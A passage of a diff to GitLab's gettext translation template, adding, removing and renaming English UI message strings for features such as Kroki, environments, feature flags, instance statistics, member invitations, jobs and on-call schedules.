-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -9929,6 +10257,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10280,6 +10611,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10391,6 +10725,9 @@ msgstr ""
msgid "Environments|Stopping"
msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10628,9 +10965,6 @@ msgstr ""
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10667,6 +11001,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10745,6 +11082,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -10979,6 +11319,9 @@ msgstr ""
msgid "Export as CSV"
msgstr ""
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -11087,6 +11430,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11222,6 +11568,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11261,6 +11610,9 @@ msgstr ""
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11300,12 +11652,18 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11473,6 +11831,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11497,9 +11858,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11560,6 +11918,9 @@ msgstr ""
msgid "February"
msgstr ""
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11602,7 +11963,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11728,12 +12089,6 @@ msgstr ""
msgid "Find file"
msgstr ""
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -11758,9 +12113,6 @@ msgstr ""
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -11806,9 +12158,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr ""
@@ -11893,6 +12242,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ""
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -11920,9 +12272,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr ""
-
msgid "From issue creation until deploy to production"
msgstr ""
@@ -12409,6 +12758,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12442,6 +12794,9 @@ msgstr ""
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12652,15 +13007,12 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -12775,12 +13127,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr ""
-
-msgid "Google Takeout"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -13015,6 +13361,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13408,12 +13760,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr ""
-msgid "GroupsTree|Create a project in this group."
-msgstr ""
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr ""
-
msgid "GroupsTree|Edit group"
msgstr ""
@@ -13489,6 +13835,9 @@ msgstr ""
msgid "HealthCheck|Unhealthy"
msgstr ""
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -13640,9 +13989,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -13784,6 +14130,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -13860,12 +14209,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr ""
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -13917,9 +14260,6 @@ msgstr ""
msgid "Import projects from GitLab.com"
msgstr ""
-msgid "Import projects from Google Code"
-msgstr ""
-
msgid "Import repositories from Bitbucket Server"
msgstr ""
@@ -13950,6 +14290,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -13983,6 +14326,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -14013,9 +14359,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14193,9 +14536,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
@@ -14280,9 +14620,6 @@ msgstr ""
msgid "Install Runner on Kubernetes"
msgstr ""
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14306,73 +14643,79 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14411,6 +14754,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14444,7 +14790,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14462,6 +14817,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14483,6 +14841,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -14558,6 +14919,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14600,6 +14964,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -14624,6 +14991,9 @@ msgstr ""
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14669,6 +15039,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14678,16 +15051,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -14795,9 +15168,6 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -14861,6 +15231,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr ""
@@ -14996,10 +15369,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15176,6 +15549,27 @@ msgstr ""
msgid "Jobs"
msgstr ""
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr ""
@@ -15305,6 +15699,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr ""
@@ -15487,9 +15884,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr ""
@@ -15583,6 +15977,9 @@ msgstr ""
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15610,9 +16007,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -15643,9 +16037,6 @@ msgstr ""
msgid "Leave project"
msgstr ""
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -15709,9 +16100,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -15751,18 +16139,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -15778,9 +16157,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -15886,6 +16262,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] ""
@@ -15906,6 +16285,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -16110,9 +16492,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16173,16 +16552,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a GitLab user"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a full email address"
-msgstr ""
-
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16245,7 +16618,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16257,7 +16630,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16305,6 +16678,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16329,9 +16705,6 @@ msgstr ""
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16488,7 +16861,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16524,9 +16900,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16536,12 +16921,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16560,6 +16954,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16611,6 +17008,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -16662,6 +17062,9 @@ msgstr ""
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17218,6 +17621,9 @@ msgstr ""
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17323,6 +17729,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17356,12 +17765,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17419,7 +17822,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17515,6 +17918,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17642,6 +18048,9 @@ msgid_plural "NamespaceStorageSize|You have reached the free storage limit of %{
msgstr[0] ""
msgstr[1] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17675,6 +18084,9 @@ msgstr ""
msgid "Need help?"
msgstr ""
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -17900,7 +18312,7 @@ msgstr ""
msgid "New"
msgstr ""
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -18052,6 +18464,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18157,9 +18572,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18343,9 +18755,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18382,6 +18791,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr ""
@@ -18400,6 +18812,9 @@ msgstr ""
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18412,6 +18827,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18451,6 +18869,9 @@ msgstr ""
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18487,9 +18908,15 @@ msgstr ""
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr ""
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr ""
@@ -18505,6 +18932,9 @@ msgstr ""
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr ""
@@ -18514,6 +18944,9 @@ msgstr ""
msgid "NotificationEvent|Reopen issue"
msgstr ""
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr ""
@@ -18640,6 +19073,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18655,9 +19115,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18682,9 +19139,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18697,6 +19151,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18706,7 +19166,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18729,9 +19189,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -18813,6 +19270,9 @@ msgstr ""
msgid "Open raw"
msgstr ""
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr ""
@@ -18879,9 +19339,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr ""
@@ -18927,6 +19384,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -19083,6 +19543,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19197,6 +19660,9 @@ msgstr ""
msgid "PackageType|Conan"
